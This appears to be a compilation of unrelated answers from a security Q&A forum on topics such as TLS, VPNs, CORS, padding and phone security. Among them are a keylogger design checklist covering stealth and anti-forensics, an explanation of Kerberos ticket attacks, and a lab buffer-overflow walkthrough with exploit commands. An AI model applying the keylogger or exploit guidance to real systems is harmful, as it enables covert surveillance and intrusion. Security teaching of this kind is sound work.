Network anomaly detection or anomaly-based intrusion detection?

First response, please don't flame :-)

If I understand your question correctly then yes you could think of attacks as a sub-set of anomalies. In some cases this is useful, but not terribly. If, for example, you have a very quiet network segment that never sees any traffic and all of a sudden you get slammed. The traffic change is an anomaly that could be an intentional DoS, or maybe you just put your website on search-engine-x and it finally got some traffic. The reality of the situation is contextual, one of the reasons that tuning your firewalls/ips/ids/etc is so important. It would be my advice to look at both independently and also consider them holistically. Tune, adjust, refine.

From an analysis point of view you would even say that consistent attacks, ie the standard, which suddenly disappear would also raise a red flag. Posit: your network has been getting low level probes from a specific IP range for a month straight. These types of nuisance scans are often over-looked but today, for no reason that you can tell, they stop. This is an anomaly for the network traffic patterns, but is it a good or a bad thing?

As to the last part; malignant network activity (DoS, Probes) and intrusion detection (looking at u2r/r2l/etc activities) are two different classes of detection analysis.

There is a decent paper on this at http://cs.fit.edu/~mmahoney/dist/ although it's a little dated I think it is still salient to your question.


Bypass CAPTCHA form made with 100% JavaScript?

If it is a secure CAPTCHA, the AJAX message will send the user's input to a server. The server will validate the input and return a token. The token will then be inserted into the form by the Javascript. When the form is submitted, the server will validate the token with the CAPTCHA service (this could be a web service call or signature validation). So the fact that there is AJAX tells you nothing about the security of the CAPTCHA except that it might be secure.

As far as what prevents you from firing that AJAX request yourself, the answer is nothing. But to do it correctly, you'll need to provide the answer to the CAPTCHA, something that's supposed to be hard for a computer algorithm to determine.


You can get a free class-1 certificate from https://startssl.com (I have no affiliation with them other than using them for my free SSL certificates).  It's not the most user friendly experience, but it gets the job done for free -- note the free certificate will only last a year (and doesn't offer features like wildcard certificates for free).  There are plenty of other sites that offer more features at other price points.
Not really, with a few exceptions.  If you ever hard code a link as http:// in your site you need to change it to https:// or just have it as a relative link or use //www.example.com (which will be equivalent to http://www.example.com if you are on an http page, and https://www.example.com from an HTTPS page.  This also applies to things you may forget, like embedded content - images or CSS or JS files loaded off of a CDN.  You also probably want session cookies to have the secure flag enabled.
Yes.  Will depend on your webserver.  Will have to enable SSL running on port 443, select the ciphers you want to allow, point your webserver to your CA-signed certificate as well as the associated private SSL key.  You may need to add the intermediate SSL certificates to your chained SSL certificate.  There are plenty of guides and tutorials out there; e.g., here's one for nginx.  You will want to find a good selection of ciphers and SSL/TLS to allow.  Mozilla maintains a list of recommended ciphers here, I suggest you use it.  A good way to test your configuration is this SSL testing tool.  You also may want to turn on HSTS (if your site will only be served over HTTPS in the future; this prevents it from being served via HTTP in a MITM attack).  You also should set it up that when tries to go to http://www.example.com/some/path that it automatically redirects to https://www.example.com/some/path as appropriate (and should choose whether this is a permanent redirect or temporary one).


Connections are 2-way. Opening a port in a firewall allows a connection to be opened.  Once opened it is 2-way.


What is collusion and how does seperation of duties prevent it, or fail to prevent it?

Collusion is where the bank guard opens the doors after closing, and the safecracker cracks the vault. Both people have a specific job to do that the other cannot, and without that job, the event cannot take place.

That's a different scenario from 2 people walking in with guns.

Separation of duties means that for someone to steal something, it requires collusion. If everyone has the keys to the bank doors and the combination to the vault, then collusion isn't necessary.


Is it possible to change code of website through an embedded image

Would that pose a security risk of him injecting something into my
  code?

Yes

If you allow your users to upload an image file with no 'robust' validation,  it is trivial for an attacker to upload a malicious PHP file (e.g. by faking it as an image through changing the Content-Type request header) and execute it on your server or get a remote access.

Secure handling of File upload is not easy. You may find the below article helpful to know more about its security risks and recommendations:

8 Basic Rules to Implement Secure File Uploads


Is there any security gain / risk by adding additional padding (beyond what is required) when using AES-256 to encrypt very short strings?

Longer padding has no disadvantages security wise and the advantage is that it leaks less information about the length of the plaintext. The only downside to more padding is the larger ciphertext size, so as long as you consider the overhead acceptable padding to a larger block size is a good choice. For example in a chat application I'd pad to multiples of 256 bytes or even larger blocks.

In principle any padding works fine, as long as you can unambiguously remove it. I recommend deterministic padding instead of randomized padding, it simplifies testing and avoids concerns about covert channels. A proper IV already adds all the randomness you need, and AES is assumed to be secure against known plaintext attacks.

Typical paddings are 0x80 followed by as many 0x00 as you like, or as many 0x00 as you like, followed by the length of the padding or the length of the plaintext. Just a single byte doesn't work, since you can't know if a byte is still part of the padding or already part of the message.

As always, remember to use an authenticated mode of encryption with a proper per-message IV. AES-GCM is popular, but the conventional choice of AES-CBC combined with HMAC in encrypt-then-MAC order is fine as well, if you manage to implement it correctly.


Securing internet connection with hostile ISP

An encrypted VPN out of country is the classic approach.
Set up correctly, all the ISP will see is that there is an encrypted tunnel to the VPN.
Common VPN errors include:

Failing to make sure that all of the DNS traffic moves through the
VPN
Failing to make sure the connection drops completely with no auto
reconnect in the event the VPN is disrupted.
Failing to select an appropriately reliable VPN

The stronger and potentially easier solution in many cases is to use Tor. Simply download the TBB (Tor Browser Bundle) and use that for internet traffic.
The ISP can see that Tor is being used, but that's all.
In either case, use a reliable email service.
All of these tools are to protect against outside monitoring and intrusion. None will protect against foolishness such as logging into an identifiable account attributable to your friend and posting or emailing content you don't want attributed.


Securing a LAN that has multiple exposed external Cat 6 cable runs?

Options that come to mind:

Use a Managed Switch to provide access control by physical port.

For each physical port, only a specific IP address can be allocated (i.e. that of the camera) This may help detect attacks because if the attacker tries to create an IP conflict to access the rest of the LAN then that will likely interfere with the camera connection. More advanced attackers can probably avoid such detection though.
For each IP we now know it can only come from a particular physical port. We then create access control lists by destination IP and TCP port number.

Ideally the cameras should use HTTPS and that your receiving station is secured against MiTM by verifying the camera's HTTPS certificate fingerprint. At the very least the cameras should have some kind of authentication before releasing their video stream and configuration interface.
If modern WiFi is an option it has a built-in authentication before accessing the LAN based on a shared secret. However, it can be DoSed wirelessly and its security is less easily validated by another party. (proving physical cables secure is easier than proving that a shared secret was not compromised)
I've heard of an authentication method designed for restricting Ethernet use but I'm not sure its scope (or if your camera supports it) or whether it will help you without updating all the other devices on the LAN. Perhaps a Managed Switch would help contain the need for updating configuration.
Overall review the security of the other devices on your LAN. Windows computers should treat the networks as Public Networks so they do not assume trust. Each device on your LAN should be considered and secured.
Of course do not leave any default credentials in place. The passwords must be  reset on all new devices both for the CCTV and other devices on your LAN.
Don't forget physical barriers :-)


How is eduroam different from a VPN in terms of security?

Eduroam is only an infrastructure for authentication, it allows your institution's servers to prove that you're indeed the person that you claim to be. It only authenticates you, but doesn't tunnel your traffic or similar - your traffic is still at the mercy of whatever network you're connecting to, so you have to trust that network and its administrators to not be malicious or only use secure protocols such as HTTPS.

  Is it any less secure to connect to eduroam somewhere other than my home institution?

Your Eduroam credentials are safe and only your home institution can see them. Your traffic is less safe and you have to trust the network and its administrators, though EAP uses a different key per user so someone else on the network wouldn't be able to eavesdrop on your traffic like they can with open or PSK-protected networks.

I'll leave the last two questions to someone else as I'm not 100% sure.


The most important things about keyloggers to consider:

on what platforms (including what Windows version) do you need it to work?
should it work in stealth mode (be invisible in Task Manager etc.)?
how it should be installed on monitored system?
what information except raw keystrokes do you need to capture? eg. screenshots, window names etc.
how it should send you recorded data? online/offline, how often, how to avoid filling user's disk etc.
if it should work in stealth mode, how to prevent forensics? what actions should be taken except deleting all files? how to trigger it remotely or automatically, when suspicious activity is spotted?

After you collect answers for these questions, you can start googling for specific solutions.

In the meantime, this is the source code of simple, non-stealth keylogger working on Windows 7 and later, for the reference:

http://www.rohitab.com/discuss/topic/40755-good-keylogger/


What prevents this exploit from working (unix SUID)?

When you copy a file to a different filesystem, what's going on under the hood is that a you create a new file and copy the contents. Moving a file to a different filesystem is done by copying then removing the source. So you have no more privileges when copying a file than at any other time you're creating a file.

When you create a file, it belongs to you. Many unix variants restrict changing the owner (chown) to root. Even those that allow the owner of a file to give it away clear the setuid and setgid bits when doing so. Group ownership changes (chgrp) also clear away the setxid bits unless invoked with root privileges. And you need to own the file or be root to change its permissions. So you can't create a setxid file for a user or group you don't have permission to run programs as.

A different vector for setxid file injection is filesystem mounting. Most configurations only allow the setxid bits on filesystems directly mounted by root (as opposed /etc/fstab entries with the user option on Linux, Samba, FUSE, …). Sometimes, for example with NFS mounts, it's up to the system administrator to ensure that filesystems are mounted with the nosuid option.


Cannot identify or block unknown MAC addresses

Four possibilities come into mind for your slow internet.

Your neighbors are using your wifi (e.g., you are using weak security on your router like WEP or are using very weak guessable passwords - wifi passwords can be broken offline so you need strong passphrases, or your router has a backdoor your neighbors are aware of)
Your neighbors are using their own router and wifi at a high rate and it is interfering with your own wifi (both operating on same part of the bandwidth)
You have some sort of malware (or user installed software that uses a lot of network traffic like bittorrent) installed on one or more of your systems that is using a high amount of network traffic
Your ISP is highly congested and isn't providing the advertised speed to you (due to multiplexing with other users).

To test, I'd first disable the wifi radio signal on the router and try to connect using a computer with an ethernet connection.  If it's still slow, then most likely its an issue with your ISP being slow.  However, it's also possible that it's due to malware (or other background software) on the one computer directly connected to the internet using a lot of traffic.  You can test the malware theory by analyzing network traffic (e.g., with wireshark) or trying other computers as the only computer on your network  or moving the computer to another network.

If it's not slow anymore, you can test all the computers you have on your network by directly connecting to the router via a wired connection.  If all of them have fast speeds, then it's not malware on any of your computers.  It's then probably either radio interference or neighbors connecting.

For radio interference you can possibly use a better router (e.g., 802.11ac handles interference better than 802.11b/g), changes the channel (small changes to frequency), switch to 5 GHz from 2.4GHz, move the computer closer to the router and/or use RF shielding to block signals from neighbors.  There are tools and mobile apps to see if your area has a lot of wifi congestion; you may want to take a look at these and change your channel.

For neighbors connecting, you can use a stronger passphrase (e.g., at least 5 random words), possibly try a new router and/or use RF shielding.


Does openssl store the certificate of the server after verification is done?

The certificate is available as long the SSL connection is open by calling SSL_get_peer_certificate, see https://www.openssl.org/docs/ssl/SSL_get_peer_certificate.html. It is no longer available after SSL close.


I am no expert, this answer is based on my current knowledge of these attacks from practice environments.

  How is PtT (Pass the Ticket) possible? You can easily take someone's
  ticket but to use it you need to create an Authenticator, which means
  you need to get one of the keys that the client possess (it depends on
  which step you are in) and even forge the IP address embedded in the
  ticket stolen.

This type of attack you can perform when you gain the NTLM hash or the clear text password of a service account. You basically get a TGS from the Domain Controller, decrypt it using the service's NTLM hash (if you have the password you hash it), modify the group you belong to (modify the PAC) included in that TGS so you gain more privileges, then re-encrypt the ticket again and send it to the service. This ticket is also called a Silver ticket.

  It does not sound reasonable to me that given access to client's
  computer memory, you would extract only Kerberos tickets and no
  session keys or clear text/hashed passwords

Assuming you gained system privileges on that computer, you would want to get NTLM hashes or passwords to use in lateral movement to other accounts in the Active Directory environment you are attacking. I do not think you can do anything with tickets alone (but I am not sure on this one).

If you can't get hashes/passwords, then a possible thing to do is get a TGS for a service (or all the available services), download it to disk, then try to decrypt it to get the service's cleartext password from it (aka Kerberoasting).

  If only Kerberos is used, where am I going to find any NTLM hash to
  commit OPtH (Over-Pass the Hash)?

When either Kerberos authentication or NTLM is used, when a user is currently logged into a machine in the Active Directory environment you will find their NTLM hash cached in that machine.

  The encryption of RC4_HMAC_MD4 is not used by default in nowadays
  windows operation systems, so how would I use NTLM hash in OPtH? Is
  downgrade the answer?

I am not sure where the RC4_HMAC_MD4 is used (I think it used for encryption not authentication), but in overpass the hash you use the NTLM hash. If you are referring to the /rc4:<hash> option in mimikatz, then that takes the NTLM hash (I don't know why it is called rc4 though).

  I read in some article, that kerberoast's brute-force phase is done by
  trying different NTLM hashes. It seemed weird, so I assumed that it is
  done by trying clear text passwords which will be used to generate
  NTLM hashes which will be used in their turn as keys in order to try
  decrypt the ticket's encryption. But that's not suppose to be the
  case, RC4_HMAC_MD4 is not used by default. AES does, and it has PBKDF2
  as a hash algorithm (which suppose to be BF resistant).

Yes, in Kerberoasting you first hash a candidate to NTLM and then attempt to decrypt the ticket using the hash.

You can attempt to downgrade to RC4 when requesting the ticket to be able to find the cleartext password faster, but with AES it only becomes slower to decrypt hence find the clear text password,

Good article

  How is Silver Ticket is done when the victim sever does check the PAC
  against the DC?

From what I read here it should still be possible to perform silver ticket attack. Mainly it is because the PAC is not always checked against the DC.

There are ways to stop lateral movement using silver tickets, the one I know is configure administrator and service accounts to be "Sensitive and cannot be delegated".

  Golden Ticket attack builds on the TGS to cooperate with any given
  TGT? Which means that it will sign on the PAC even if its forged?

A Golden Ticket attack is forging a TGT, this is possible after obtaining the key to encrypt the TGTs which is only known to Key Distribution Centers (KDC) in the domain, the key is the password hash of a domain user account called krbtgt. To get this user's password, you need to compromise a domain controller to get that hash.

So when you are able to obtain a Golden Ticket, you basically compromised the whole AD domain.


What's the reason of both "Allow-Origin: *" and "Allow-Credentials: true" headers?

Access-control-allow-origin: * and Access-control-allow-credentials:
  true

First and foremost let me tell you what those headers are.The Access-control-allow-origin is a response header sent by a website which tells the browser to relax the same origin policy for the website listed in it.The wildcard * means any origin(domain,subdomain) can send request and receive response.The access-control-allow-credentials is a response header which instructs the browser to send in cookies along with the request.

  What would happen if Access-control-allow-origin: * and
  Access-control-allow-credentials: true is set?

An attacker could take you to a website and then that website could issue a request to another website with the configuration and read the response.This would pretty much wreak havoc on the internet.

  Why website are allowed Access-control-allow-origin: * and
  Access-control-allow-credentials: true?

Browsers simply ignores it if Access-control-allow-origin is set to wildcard then the browser wont allow submitting of credentials(cookies) with the request which would render any attack useless since you can't target anyone without their cookies.

  Then why do websites send this combination of response headers?

First and foremost for non credentials request, Secondly this could be due to the presence of changing of ACAO with the origin header. If no origin is specified then the response ACAO contains the wildcard. But I have nothing to back up this part of the answer


two encrypting / hashing case, which one is best

It doesn't make a difference other than the number of iterations of the hash. Entropy doesn't matter in a salt, only the uniqueness matters. Random input is the easiest way to get uniqueness but any uniqueness is equally valuable.

The first step really doesn't add anything as a rainbow table can be built for the first step and give inputs to try for the second in bulk.


A recieved text message that was never sent on iPhone

I would not say this is an glitch or something like that. Basically this sounds like a spoofed text message. This technique is called "Caller id spoofing" and can be achieved in numerous ways.

  Caller ID spoofing is the practice of causing the telephone network to indicate to the receiver of a call that the originator of the call is a station other than the true originating station. For example, a caller ID display might display a phone number different from that of the telephone from which the call was placed.

So if someone knows your number he can text your girlfiend with it. Her phone believes this message came from your number and puts the message under your name. There are some free apps or websites where anyone can achieve this.


Very subjective question - as you will see from the FAQ, subjective questions will usually be closed.

In saying that, I would say that while I think Belarc may be useful for a home PC, it really isn't the sort of thing I would ever use in an enterprise or SME environment, nor have I ever seen it used outside the home.

I would recommend looking for a product which can tie in with your policies, central exception logging and centrally managed - there are a lot on the market, depending on your price range.


Why are .URL and .WSH files considered dangerous?

.url may lead the use to click and redirect to website that host malicious exploit code, e.g. execute exploit code on installed unpatched software.

Blocking of WSH is similar to blocking autorun.inf
Sample .WSH  file from this question.

[ScriptFile]
Path=C:\WINNT\Samples\WSH\showprop.vbs
[Options]
Timeout=0
DisplayLogo=1
BatchMode=0


The one byte wide protocol field in the IPv4 header has all of its bits set.  This doesn't mean anything in particular as IANA (Internet Assigned Numbers Authority) hasn't assigned that protocol number. Refer to the Protocol Numbers page on IANA's web site for more information. The packet may have been sent in an attempt to elicit an ICMP protocol unreachable message from the target network which could be analyzed by the scanning party, i.e. to check for data leakage or fingerprint the IP stack that generated the ICMP datagram.


BurpSuite is only used to send HTTP requests in an automated way. There is no way to tell if a request is coming from BurpSuite or not. (Just have a look at your request header or body).

You might be able to detect such a robot though. Tools such as BurpSuite use a scanner, and you can trap them by making them follow an invisible link on your website. Tools would automatically follow the link whereas users wouldn't even notice it. If someone visits the website.com/trap link, you can tell it's a scanner.

BurpSuite is just a tool, attacks can also be performed manually, just think about BurpSuite as a web browser with automated actions to help finding vulnerabilities. (Yeah, I know it's more than that, but all it does is send HTTP requests).


Privacy risks of entering contact information in forms that use Google APIs

Yes, Google could run a different script than the one the site creator intended, and it's not hard to have a script send off entered information. However, the reaction upon getting "busted" doing that would be pretty severe among developers, and probably lawyers as well. There are terms and conditions, and contracts are to be followed by both parties. There is little incentive for Google to capture info they likely already have, so this is probably not a realistic concern.

You can see all the script's activity in the developer tools, including in non-chrome browsers. I suppose Google could engineer chrome in a way to cover up what script was loaded, as well as hide the ex-filtration http request, but we're getting really tin-hatty here, and there's other tools like wireshark that would ensnare them. In short, it's simply not possible to do this perfectly, nor worth it for them to do this in general.

If in doubt, and doubt is healthy, use the integrity attribute on CDN resources to prevent this exact scenario in supporting browsers (~60% at time of writing).

EDIT:
There is a hidden privacy consideration here. It's not the info being entered, but everything else Google can tell by you using such a service:

Who - Which user is loading the script (IP)
What - What script; something for validating forms, watching vids, etc (script url)
When - What time was the script loaded
Where - What site/section/page is the user on (refferer)
Why - Google's a pioneer in deep learning  ;)

If you self-host the script, google gets none of that, and thus your users gain a little privacy.


Secure password reset before authentication?

I can't think of any additional attack surface that this user flow would be exposed to. The messiest part is if 2FA is ever enabled for your site you'd have to make this password reset flow multistep as well.

You're not changing the required information to submit a password change or the order of operations to achieve one, so if this page as secured as your normal login page there's no problem with it.


How do gift card resellers prevent sellers from re-using pin and card numbers

All the giftcard buying companies (like cardpool) are located in California because In the state of California all retailers that offer giftcards must refund giftcards for cash value or issue a new giftcard at no cost (California Civil Code Section 1749.5(b))

there is a 24-48 hour wait period for gift card buying companies to pay you.

So what they do is either get a cash refund or new card from the card that you sell.


Dangers of including iframes in my website

Your main concern will be malicious javascript, actionscript (flash), Adobe Acrobat and Java Runtime code. These are all web attack surfaces that can be exploited to infect someone via (out-of date) browser plugins.

The problem you're describing is exactly what happens when a popular site accidentally distributes mailicious ads


Can someone using Thunderbird with Enigmail plugin be a victim of email spoofing

Well, you can spoof an email address without signing the email. However, if you get an email from an address and the email is signed, you know it's not fake. The signing process will provide you with enough information to verify that the email is from who it's meant to be from.

For instance, you could spoof an email from a bank asking for customer details. You could not spoof an email signed with SHA256 from a bank asking for customer details. OpenPGP communication requires trust levels to be accurate. In the case of something like a bank, you should trust their OpenPGP key if you get it from them physically or (say) with your new credit card.

Without a web of trust, the idea behind OpenPGP falls down. If you don't know exactly who gave you a key in the first place, all you can confirm is that the same (unknown owner) key is being used to sign things. Nothing less, nothing more.


It sounds to me like you need to configure the Tomcat service to request a client side certificate for authentication.

I'm wise in the ways of IIS, but unfortunately Tomcat is not my forte.

DO NOT give the admin of Tomcat your CSR.

I recommend referencing Configure SSL Mutual (Two-way) Authentication

Ideally you would use your internal CA to sign a client certificate as opposed to generating this from Tomcat/OpenSSL

From what I recall, Tomcat does not use the Windows certificate store, so you'll want to make sure the appropriate root and intermediate certs (if there are any) are also loaded into the Tomcat/Java keystore.

Image from: http://www.codeproject.com/Articles/326574/An-Introduction-to-Mutual-SSL-Authentication


What security features are important when buying a smartphone?

TLDR: There are several categories of security you must consider when looking for a phone. The main advice, though, is to get a newer phone with the latest security features, and from a manufacturer that has a good reputation of providing updates.
Security against other people (peers, police/government)

Look for newer devices with full disk encryption, and at the very least have a code or fingerprint required to unlock your device.

Both Android and iOS have the ability to encrypt the phone. When booting the phone, the password must be provided to finish booting and to view files.

Upside: Your phone is protected from external attempts to read the data
Downside: You must type in your password/PIN every time you boot, and usually every time you unlock your screen.

As this is built-in to more recent versions of Android and iOS, you must slightly narrow your search to exclude older phones that don't have this capability.
Encryption key vs unlock code
As a usability/security tradeoff, I prefer to have a long password required on boot, but have a simpler code to unlock the screen. Apple does this natively, letting you set a PIN or password required on boot, but thereafter letting you unlock the phone with your fingerprint.

Upside: You can use a complex password, while keeping the ease of unlocking your phone quickly.
Upside: A shoulder-surfer can't unlock your phone, since your fingerprint unlocks it. They would have to catch you as you type in the password on boot. (When you type your password, be sure no one is watching!)
Downside: Your fingerprint is not protected by law (in the U.S.). The police can force you to unlock the phone with your fingerprint. Whereas a password or code, something you know, cannot be forced out of you. Even if a court orders you and holds you in contempt for failing to provide the unlock code, they cannot access your data without your cooperation.

On a rooted Android device, you can install a mod that lets you have a complex boot password and a simpler PIN for the screen unlock. If you enter the PIN incorrectly, it requires the strong password to be entered, which prevents brute-force attempts at the much simpler PIN. You are losing some security, however, since anyone shoulder-surfing could see you put in your PIN and later steal the phone for unlocking.

Upside: You can use a complex password, while keeping the ease of unlocking your phone quickly.
Upside: Only your knowledge can unlock the device.
Downside: You must enter a PIN every time you unlock the screen. As this happens frequently, it is much more likely that someone could find out your simple unlock combination.

Security against apps

Check app permissions before installing, and make sure you get a newer phone that has extra permission management.

Apple/iOS
Apple devices (excluding jailbroken ones) can only install apps that have gone through Apple's vetting process. While this isn't 100% successful, it does protect most users from installing a malicious app. On top of that, certain obvious privacy features, such as GPS location and contact info, require an extra user prompt to allow an app to access that information.
Android 6.0+
Android permission settings before 6.0 Marshmallow were all-or-nothing. If an app requested permissions to your GPS, you either allowed it or didn't install the app. Android 6.0 introduces similar features to iOS that let the user deny certain permissions while still installing the app.
If looking at Android devices, this narrows the eligible devices, excluding phones that don't have Android 6.0 or newer.
Android 4.x-5.x with XPrivacy
However, if the Android device has root and can install the Xposed framework, you can install XPrivacy. That app overhauls the permission model on Android so that nearly every possible privacy-related permission can be allowed or denied in real time. If the app tries to use GPS, it prompts you to allow or deny (or provide fake/null information). This is available to most rootable Android devices running any version of Android 4.0 to 5.0.
Look for a phone that can be rooted if you want extreme privacy permission tweaking.
Security against bugs/exploits

Look for phones made by manufacturers with a history of regular updates.

Most iOS and Android updates include bug fixes along with new features. As long as the iOS device is supported, they can all get the update at the same time when it is released.
On Android, Nexus devices are generally the first to receive updates. For other manufacturers, make sure they have a history of providing updates to older phones and within a reasonable timeframe.
Alternatively, find an Android phone with an unlocked bootloader and an active development community. While more technical, this can be the fastest way to get the latest updates, even after a manufacturer has stopped supporting the phone.
Security against the device manufacturer

Buy devices from a trusted manufacturer, and make sure it uses full-disk encryption where the manufacturer does not hold the key. Also, for Android, consider a device with an unlockable bootloader to be able to load custom ROMs with newer security updates and better privacy features built-in.

Apple devices cannot be unlocked even by Apple starting in iOS 8. While it may be possible in theory for Apple to provide an update that subverts this, currently it is impossible for Apple to unlock your phone or gain access to the encrypted partition on your phone. If you have iCloud Backup enabled, however, that data can be accessed by Apple.
Similarly, Android devices with Full Disk Encryption enabled cannot be unlocked by the manufacturer, or even Google.
Unlocked bootloader
With Android devices, an unlocked bootloader lets you install custom ROMs, or even make your own built from scratch using the Android OS source code. If your phone is no longer supported by the manufacturer, you can still update to the latest version of Android, assuming someone has compiled a Rom for your device.
Some Android ROMs have additional security and privacy controls built-in.
Warning: This can be detrimental to security. Make sure to use a Rom that is widely known and trusted.
Security in the cloud

Use a cloud storage provider that encrypts your data and does not have access to the unlock key.

Almost all cloud storage (Dropbox, iCloud, etc) store files in a non-encrypted way, or in a way that the cloud provider could decrypt the files without the user's permission.
The primary way to protect against this is to not use cloud storage. If you need to back up your files, use your own encrypted server or manually copy files onto an encrypted desktop computer.
A few storage providers, such as MEGA and SpiderOak, do encrypt your files. The encryption key is not accessible to them, and a government entity would have to coerce them to write an update to their software in order to acquire the unlock key from a user.
Android and Apple both have apps for MEGA that work similarly to Dropbox, including automatically saving photos taken by the phone.
Security against networks

Make sure your phone can use VPN software, and possibly use TOR to increase privacy. And be sure to browse the web with https when possible.

The internet service provider can view all of your unencrypted network traffic. To help avoid this, use a VPN. Note: the VPN can see your unencrypted data as well. Use a trusted VPN provider.
The ISP can even determine some information from encrypted network traffic, if you aren't using a VPN. If you open a web page that uses https, the ISP can see which domain you are going to. They cannot, however, see the specific page you are requesting, nor the data of the page itself.
If extreme privacy is a need, Tor may be the answer. It has plenty of downsides, the primary being slow speed (compared to normal browsing). But when using Tor, your ISP cannot see your network information, aside from the fact that you're using Tor. And the nodes on Tor are unable to know both the source (you) and destination (the website) due to the way the protocol is designed.


Does OpenSSH use padding of random lengths?

As per this article it does not, but I arrived at this topic seeking confirmation of this article to begin with so take it for what it's worth. The relevant quote from the article is:

  OpenSSH does not implement the “random padding” feature of RFC4253 The secure shell protocol which says " the insertion of variable amounts of ‘random padding’ may help thwart traffic analysis". Until they fix that we can use this technique to detect tunnels.


Best guide/reference/roadmap for server penetration testing

I am not sure of any doctrine. General principals dictate recon, exploit, gain access, maintain access and clear tracks with continued access.

You may refer to:
https://technet.microsoft.com/en-us/library/2005.01.anatomyofahack.aspx?f=255&MSPPError=-2147217396 (Very old)

Or book

https://www.elsevier.com/books/penetration-testers-open-source-toolkit/faircloth/978-0-12-802149-1?start_rank=1&sortby=sortByDateDesc&imprintname=Syngress

Which gives you the tools (you should be able to grasp their sequence of usage).

Metapoilt / Kali or any other similar linux distribution will help you acquire more information about the targets. Find the vulnerabilities on the target using vulnerability databases. Exploit them to gain access and move laterally or vertically to increase your rights (from normal user to administrator).  If the targets are fully  patched and you find no documented software or firmware vulnerabilities (highly unlikely) You will have to look at exploiting their custom code - web-services for in-house use.

I love this document but again it doesn't directly answer your question. This is anatomy of a hack by the person who hacked in to http://hackingteam.com/

http://pastebin.com/raw/0SNSvyjJ

Also be extremely careful with your active actions.


Without knowing the of the vulnerable code I'm going to  guess that the vulnerable function uses a C based string operation like strcpy() which terminates on null byte. Hence your string stops writing after \x46\x05\x40\x00 as it encounters a null byte. This results in a partial overwrite and the 0x00007fff portion of the 0x00007fff00400546 address is whatever value was already on the stack.


Buffer overflow attack, executing an uncalled function

Alright, let's do this step-by-step.

As you said, you have to fill the buffer with junk data until you overwrite the instruction pointer.

First, you need to find out how many bytes you have to send in order to completely fill the buffer.

You have to try with various length junk data, until the program crash with a segfault.

/task2/vuln "$(python -c "print 'A' * 1026")"

/task2/vuln "$(python -c "print 'A' * 1028")"

/task2/vuln "$(python -c "print 'A' * 1029")"
(Segmentation fault)

Next, you need to be sure that you are indeed controlling the instruction pointer, and not just crashing the program.

We'll send the 4 bytes string "BBBB" right after our 1028 bytes junk data (also call a padding). It should overwrite the instruction pointer with the value "\x42\x42\x42\x42" ("BBBB" in hex).

/task2/vuln "$(python -c "print 'A' * 1028 + 'BBBB'")"
(Segmentation fault)
> dmesg | tail
You should see something like "Segmentation fault, Invalid EIP (0x42424242) [...]

Finally, we need to find the "read_secret()" address, in order to overwrite the instruction pointer with it:

gdb /task2/vuln
> info functions
[...]
0x44434241    read_secret()

So the final exploit look like:

/task2/vuln "$(python -c "print 'A' * 1028 + '\x41\x42\x43\x44'")"


IEEE 1363 is inactive-reserved, having been withdrawn on 2019-11-07 : what does this mean?

As already noted by Marc, information about the revision process for IEEE standards can be found on their website. There it says:

  A standard has a validity period of ten years from the date of IEEE SA Standards Board approval. (...) At the end of this period, one of two things has to happen: revision or withdrawal. If no action is taken, the standard will be moved to inactive-reserved status.

And from their FAQ we can learn that there are four categories of standards: active (currently being maintained), superseded (replaced with revised version), inactive-reserved (has not undergone a revision process within 10 years), and inactive-withdrawn (made inactive as a consensus decision).

So IEEE 1363-2000 was not withdrawn but only not revised recently. And as such it can safely be cited if you find its content cite-worthy.


How can one recover from the Yahoo! XSS attack?

If you change your Yahoo password, this will invalidate all existing sessions with all Yahoo services (not just webmail).  This is true whether you use SSL when you change your password or not.

You can also review recent activity from your Yahoo account, to check for suspicious actions taken using your account.

After changing your password, you could consider enabling two-factor authentication if you want (not that it's related in any way, it's just a good opportunity to see whether it makes sense for you).

SSL is a separate topic.  The only connection is that, if you are connecting over an insecure network, you might want to use SSL when you connect to SSL and enter in your new password.  But that's a good idea, regardless of whether you've been hacked by XSS or not.  SSL is mostly a distraction here.

(To avoid confusion, I recommend you stick to one question at a time.  If you want to know both (1) how to recover from a compromise of a Yahoo account, and (2) how complete Yahoo's SSL support is, you should ask two separate questions.  You might want to edit this one to focus on just one of these and post a new question on the other.)


my site with joomla 1.5.14 got defaced and I'd like to know how he did it and stop it

I'd bet the TinyMCE addon is how they got in.

Here's how I'd clean it up without trashing the whole box:

Make a full database backup. Check the users table and delete any you don't recognise.
Back up all media files (uploaded directory) and check through them for any shells / PHP files.
Download version 1.5.14 and install it.
Restore the old database.
Download the newest version of the 1.5.x branch and upgrade your installation.
Install the latest versions of your plugins.

You might want to take a look at some of the Joomla Security documentation too.


Watching for applications like WireShark and other eaves dropping on corporate network

There is no way to do that unless you can monitor the installed programs on your users´ PCs with a software like EMCO Software scanner.


Why does Windows have a place to store intermediate SSL certificates?

I believe your understanding is correct.  I think Windows stores intermediates because:

1) Having local copies of intermediate certs allows it to "cope" with connection scenarios where the remote server is not chained properly. I've seen scenarios where a web server isn't configured properly but IE doesn't complain.

2) The certificates are used for other Windows-based tools.  For example, when analyzing a certificate with the Crypto Shell Extensions program, there's a "Certification Path" tab which tries to show the full chain (not ALWAYS accurate IMHO).

3) It allows the workstation to perform server-based SSL roles if needed (for example if you were to install some local software that had a web interface).

4) It potentially allows Windows, IE, or anything else leveraging the cert store to have a trusted reference point for cert pinning.  I'm not sure to what extent Windows actually does this though.


No. If the USB port only allows reading, then Anti-virus cannot delete the file from the drive.

But it might not have to. AV can simply block the file from being run. The virus will still be there, but it will not infect the machine.

Alternatively, there is software that will block users from USB. So you could run AV as a permitted user.


ASLR is about randomizing the layout of dynamically-linked libraries used by your code, not about randomizing within your program.  The goal is to prevent an attacker from being able to simply hard-code the location of something like exec into a remote-execution exploit.
To illustrate, two different copies of bash from my computer have libc at different addresses according to /proc/[pid]/maps:
7fd647904000-7fd647a47000 r-xp 00022000 00:12 12970738                   /lib64/libc-2.32.so

7f2b574cd000-7f2b57610000 r-xp 00022000 00:12 12970738                   /lib64/libc-2.32.so

Instead of looking at addresses within your code, try checking the address of a library function, such as printf.


Reverse Engineering Unable to identify String encryption

As requested, here is a hint:

Both the URI and host are encoded in hexadecimal, with each character XORed against the same value. (That is, it's a simple "XOR cipher".)

The URI ends with the letters html.

I'll let you figure out the host yourself. Trial and error is a valid method.


Feeding vulnerability reports into a SIEM is normal practice.

As for comparing data found by scans against IoCs, that too is normal practice. Where that is done (in a SIEM or not) really doesn't matter.


